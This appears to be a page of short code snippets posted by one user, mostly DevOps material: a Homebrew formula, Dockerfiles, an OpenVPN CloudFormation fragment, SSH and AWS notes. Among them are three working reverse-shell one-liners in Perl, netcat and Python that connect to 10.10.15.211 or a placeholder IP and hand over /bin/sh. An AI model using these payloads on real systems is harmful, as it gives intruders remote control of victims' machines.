omerxx

class Mytool < Formula
  desc "It does this and that"
  homepage "https://github.com/myaccount/mytool"
  url "https://github.com/myaccount/mytool/releases/download/v0.1.1/mytool.tar.gz"
  sha256 "<SHA256>"

  def install
    bin.install "fed"
  end
  

omerxx

{
  "AWSTemplateFormatVersion": "2010-09-09",
  "Description": "Launch OpenVPN Server in an existing Virtual Private Cloud (VPC).",
  "Parameters": {
    "InstanceType": {
      "Description": "Instance type for OpenVPN Server",
      "Type": "String",
      "Default": "c4.large",
      "AllowedValues": [
        "t2.micro",

omerxx

FROM crystallang/crystal as builder
COPY . /opt/app
WORKDIR /opt/app
RUN crystal build --static --release src/myapp.cr


FROM scratch
WORKDIR /opt/app
COPY --from=builder /opt/app/myapp /
CMD ["/myapp"]

omerxx

perl -e 'use Socket;$i="10.10.15.211";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

omerxx

nc -e /bin/bash 10.10.15.211 12345

omerxx

#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

omerxx

# uses Docker Multi-Stage Build
# https://docs.docker.com/v17.09/engine/userguide/eng-image/multistage-build/

# -- builder container
FROM node:9-alpine as builder
# download Yelp/dumb-init
RUN apk add --no-cache curl
RUN curl -sL https://github.com/Yelp/dumb-init/releases/download/v1.2.1/dumb-init_1.2.1_amd64 -o /sbin/dumb-init \
    && chmod +x /sbin/dumb-init
WORKDIR /opt/app

omerxx

# Changing port on the host using
# vim /etc/ssh/sshd_config
# Find '# Port: 22', uncomment and change to desired PORT


# Config your local environment to SSH with the new port:
# Host bastion
#     User ec2-user
#     Hostname bastion.company.com
#     IdentityFile ~/.ssh/mykey

omerxx

import boto3

# Listing all stacks in the AWS account that are currently active
def list_stacks(client):
    response = client.list_stacks(
        StackStatusFilter=['CREATE_COMPLETE', 'UPDATE_COMPLETE']
    )
    return response

# Iterate through the list and delete everything

omerxx

awscli:
  image: omerxx/awscli
  volumes:
    - ~/.aws:/root/.aws
  command: tail -f /dev/null
  
# Usage:
# Save as docker-compose.yml
# Run docker-compose up -d 
# Run docker exec -it $(docker ps -q) /bin/sh